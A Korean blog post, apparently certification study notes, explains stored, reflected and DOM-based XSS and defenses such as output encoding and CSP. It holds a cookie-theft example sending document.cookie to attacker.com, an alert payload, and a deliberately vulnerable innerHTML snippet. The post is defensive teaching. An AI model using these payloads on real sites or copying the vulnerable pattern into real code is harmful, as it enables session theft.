anothel의 지식 창고

XSS 공격의 이해와 방어 전략 본문

기술 노트/정보보안기사

XSS 공격의 이해와 방어 전략

anothel 2025. 3. 4. 23:05

1. 개요

XSS(Cross-Site Scripting)는 웹 보안에서 가장 흔히 발생하는 취약점 중 하나로, 악성 스크립트를 웹 애플리케이션에 삽입하여 다른 사용자의 브라우저에서 실행되도록 하는 공격 기법이다. 이 공격은 데이터 유출, 세션 탈취, 악성 코드 유포와 같은 심각한 결과를 초래할 수 있다. XSS는 주로 사용자 입력값을 적절히 검증하지 않거나 출력 시 필터링이 부족할 때 발생한다.

2. XSS의 종류

XSS는 동작 방식에 따라 크게 Stored XSS, Reflected XSS, DOM-Based XSS로 나뉜다.

2.1 Stored XSS (저장형 XSS)

Stored XSS는 공격자가 악성 스크립트를 서버에 영구적으로 저장하고, 다른 사용자가 이를 조회할 때 실행되도록 하는 공격 유형이다. 데이터베이스, 파일 시스템, 로그 등 다양한 저장 매체에 악성 스크립트를 삽입할 수 있다.

공격 시나리오:

  1. 입력 저장: 공격자는 댓글, 게시판, 프로필 입력란에 악성 스크립트를 삽입.
  2. 저장: 악성 입력이 서버에 저장.
  3. 배포: 애플리케이션이 해당 데이터를 로드하여 사용자에게 표시.
  4. 실행: 브라우저에서 악성 스크립트가 실행되어 피해자의 데이터를 탈취.

예시:

document.location='<a href=http://attacker.com?cookie='+document.cookie;>http://attacker.com?cookie='+document.cookie;</a>

이 스크립트가 게시판 댓글에 삽입되면, 댓글을 열람하는 사용자 브라우저에서 세션 쿠키가 공격자에게 전송된다.

2.2 Reflected XSS (반사형 XSS)

Reflected XSS는 사용자가 입력한 값이 즉시 응답 페이지에 반영되어 악성 스크립트가 실행되는 경우를 말한다. 이 유형은 주로 URL 쿼리 파라미터에 포함된 스크립트를 통해 이루어진다.

동작 원리:

  1. 공격자가 악성 스크립트를 포함한 URL 생성.
  2. 피해자가 URL을 클릭하면, 입력값이 검증 없이 HTML 응답에 포함.
  3. 브라우저에서 악성 스크립트가 실행.

예시:

<html>
<body>
    <h1>Search Results</h1>
    <p>You searched for: <script>alert('XSS!');</script></p>
</body>
</html>

2.3 DOM-Based XSS (DOM 기반 XSS)

DOM-Based XSS는 클라이언트 측 JavaScript 코드가 DOM(Document Object Model)을 조작할 때 발생한다. 서버 응답이 아닌 클라이언트 측 스크립트 로직의 취약점에 의해 발생한다.

동작 원리:

  1. 공격자가 악성 페이로드를 포함한 URL 생성.
  2. 피해자가 URL을 열람.
  3. 브라우저가 페이지 로드 시 DOM을 구성.
  4. 클라이언트 측 JavaScript가 검증 없이 DOM을 조작하며 악성 스크립트를 실행.

예시:

<!DOCTYPE html>
<html>
<head>
    <title>DOM XSS Example</title>
</head>
<body>
    <div id="output"></div>
    <script>
        const params = new URLSearchParams(window.location.search);
        const name = params.get('name');
        document.getElementById('output').innerHTML = `Hello, ${name}`;
    </script>
</body>
</html>

URL에 <script>alert('XSS')</script>를 삽입하면, DOM 조작으로 인해 스크립트가 실행된다.

3. XSS의 위험성

3.1 사용자 데이터 유출

공격자는 XSS를 통해 세션 쿠키, 로그인 정보 등 민감한 데이터를 탈취할 수 있다.

3.2 악성 코드 유포

공격자는 브라우저를 통해 악성 코드를 유포하거나 다른 취약점을 악용할 수 있다.

3.3 서비스 신뢰도 손상

공격은 사용자가 웹 애플리케이션에 대한 신뢰를 잃게 만들어 서비스의 평판에 부정적인 영향을 준다.

4. XSS 방어 방법

4.1 입력값 검증

  • 사용자 입력값에 대해 허용 가능한 값만 수용하도록 화이트리스트를 적용.
  • 특수 문자는 필터링하거나 제거.

4.2 출력값 인코딩

  • HTML, JavaScript, CSS 등 특정 맥락에 맞게 데이터를 이스케이프 처리.
  • 예: <&lt;, >&gt;로 변환.

4.3 CSP(Content Security Policy)

  • CSP를 설정하여 스크립트 실행 소스를 제한.
  • Content-Security-Policy: default-src 'self'; script-src 'self';

4.4 보안 프레임워크 및 라이브러리 사용

  • React, Angular 등 보안 기능이 내장된 프레임워크 활용.
  • OWASP ESAPI, Django 템플릿 엔진 등을 사용해 XSS를 방지.

5. 결론

XSS는 웹 애플리케이션에서 매우 흔한 보안 취약점으로, 사용자 데이터와 시스템의 안전성을 심각하게 위협할 수 있다. 이를 방지하려면 철저한 입력 검증과 출력 처리, CSP 설정 등 다층적인 보안 접근법이 필요하다. 개발자는 이러한 방어 기법을 숙지하고, 보안 도구를 활용하여 잠재적인 취약점을 사전에 제거해야 한다.

728x90